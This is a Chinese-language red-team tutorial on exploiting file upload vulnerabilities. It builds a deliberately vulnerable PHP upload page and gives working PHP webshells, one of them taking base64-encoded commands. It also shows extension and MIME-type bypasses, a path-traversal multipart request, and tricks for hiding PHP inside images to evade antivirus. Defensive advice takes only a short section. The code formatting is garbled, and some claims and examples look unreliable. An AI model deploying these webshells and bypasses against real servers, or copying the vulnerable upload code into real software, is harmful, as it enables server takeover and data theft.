一、文件上传漏洞背后的秘密
文件上传功能,是现代 Web 应用不可缺少的一部分。无论是头像上传、文件存储,还是复杂的大文件管理,这一功能无处不在。然而,正因为文件上传涉及到直接与服务器的交互,如果开发者对输入验证、文件处理逻辑掌控不严,则可能为攻击者打开一个致命的后门。
从攻击者的视角来看,文件上传漏洞是一个颇具价值的攻击点。它不仅可以帮助我们完成 WebShell 上传,获得初始权限,甚至还能作为通往深层内网的入口。今天,我们将深入探讨文件上传漏洞的成因、利用方式,以及如何绕过常见的防护手段。

---

二、漏洞成因:从代码逻辑到服务器配置不当
文件上传漏洞的出现,总是有迹可循。以下是常见的几个问题:
1. 缺乏文件扩展名验证
很多开发者用户上传的文件时,仅检查文件名的扩展名,例如是否是 .jpg、.png 等头部格式。然而,攻击者可以伪造文件名,比如上传文件名为 shell.jpg,实际内容却是一个 PHP 后门。
举例代码: <pre><code class="language-php">if (isset($_FILES['file'])) { $file_type = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if ($file_type == "jpg" || $file_type == "png") { move_uploaded_file($_FILES['file']['tmp_name'], "/upload/" . $_FILES['file']['name']); } }</code></pre> 这种简单的检查完全不够安全。
2. MIME 类型检查漏洞
部分开发者会尝试通过检查 MIME 类型来进行防护,但是 MIME 类型可以被伪造。例如,攻击者可以通过修改 HTTP 请求中的 Content-Type,让服务器误以为上传的文件是图片或其他无害文件。
3. 文件路径处理不严
如果上传目录没有正确限制,攻击者可能会通过路径穿越(Path Traversal)上传恶意文件到服务器的任意位置,甚至覆盖关键系统文件。
---
三、搭建漏洞环境:实验室里的服务器
在实战中,我们需要一个文件上传功能存在漏洞的实验环境。本教程中我们使用了 PHP 搭建一个简单的文件上传平台,并且故意在代码中遗留了漏洞。
环境准备
- 操作系统:Kali Linux 或 Ubuntu
- Web 服务器:Apache + PHP
- 数据库:可选 MySQL(存储上传的文件信息)
搭建步骤
- 安装 Apache 和 PHP
<pre><code class="language-bash"> sudo apt update sudo apt install apache2 php -y `
- 创建 Web 上传页面
新建文件 /var/www/html/upload.php,内容如下: `php <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { $upload_dir = __DIR__ . "/uploads/"; $file_name = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; move_uploaded_file($tmp_name, $upload_dir . $file_name); echo "File uploaded successfully: " . $file_name; } ?> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit">Upload</button> </form> `
- 设置目录权限
确保 uploads 目录可写: `bash mkdir /var/www/html/uploads chmod 777 /var/www/html/uploads `
至此,一个漏洞百出的文件上传平台就搭建完毕。
---
四、攻击实战:从文件上传到服务器控制
现在我们开始利用目标文件上传漏洞,逐步控制服务器。
1. 上传 WebShell
我们的第一个目标是上传一个简单的 PHP WebShell。创建一个名为 shell.php 的文件:</code></pre>php <?php if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> <pre><code>攻击步骤:
- 使用 Burp Suite 截取上传请求。
- 修改文件名为
shell.jpg。 - 上传文件后,通过 URL 访问 WebShell,例如:
` http://target/upload/shell.jpg?cmd=whoami `
2. 绕过文件类型限制
如果服务器检查文件扩展名或 MIME 类型,我们可以尝试以下绕过方式:
- 双后缀文件名:上传文件名为
shell.php.jpg。 - 伪造 MIME 类型:使用 Burp Suite 修改
Content-Type为image/jpg。
3. 利用路径穿越
如果目标服务器存在路径穿越漏洞,我们可以尝试上传文件到有价值的目录,比如 /var/www/html/. 修改上传请求中的文件路径:</code></pre> POST /upload.php HTTP/1.1 Host: target Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: 123
------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="../../../../../../../etc/passwd" Content-Type: text/plain
root:x:0:0:root:/root:/bin/bash ------WebKitFormBoundary-- <pre><code> ---

五、强化免杀:让恶意文件更隐蔽
为了绕过更高级的检测机制(如 EDR、AV),我们需要对 WebShell 或其他载荷进行免杀处理。
1. 使用图片掩盖 PHP Shell
将 PHP 代码嵌入图片文件中:</code></pre>bash cat shell.php >> harmless.jpg <pre><code>上传文件后,服务器会处理为图片,但实际上 PHP 代码仍然可以被执行。
2. 加密和解密代码
在 PHP WebShell 中加入简单的加密逻辑:</code></pre>php <?php $key = 'secret'; if (isset($_GET['cmd'])) { $cmd = base64_decode($_GET['cmd']); echo shell_exec($cmd); } ?> <pre><code>访问时,需要将命令编码为 Base64。例如:</code></pre> http://target/upload/shell.php?cmd=YmFzaCB4bHM= `
---
六、防御:从开发到运维的双重加固
虽然本文聚焦于攻击,但对漏洞的防御同样至关重要。以下是一些简单的建议:
1. 文件验证
- 使用白名单验证,例如仅允许
.jpg、.png。 - 检查文件内容,如图片的头部信息是否符合规范。
2. 目录隔离
- 将上传目录与 Web 根目录隔离,避免直接访问。
- 禁止执行上传目录中的文件。
3. 严格路径处理
- 阻止路径穿越的可能性,限制上传目录为固定路径。
---
七、经验总结:让攻击更具艺术性

文件上传漏洞的利用是一门精细艺术。攻击者不仅需要充分了解漏洞的成因,还要具备绕过检测机制的能力。通过优秀的工具(如 Burp Suite、Metasploit)的结合,配合自制脚本,漏洞的攻击效率能够进一步提高。
作为红队人员,我们的目标不仅是攻破系统,更是理解攻破背后的逻辑。只有掌握了漏洞的本质,才能在实战中做到无懈可击。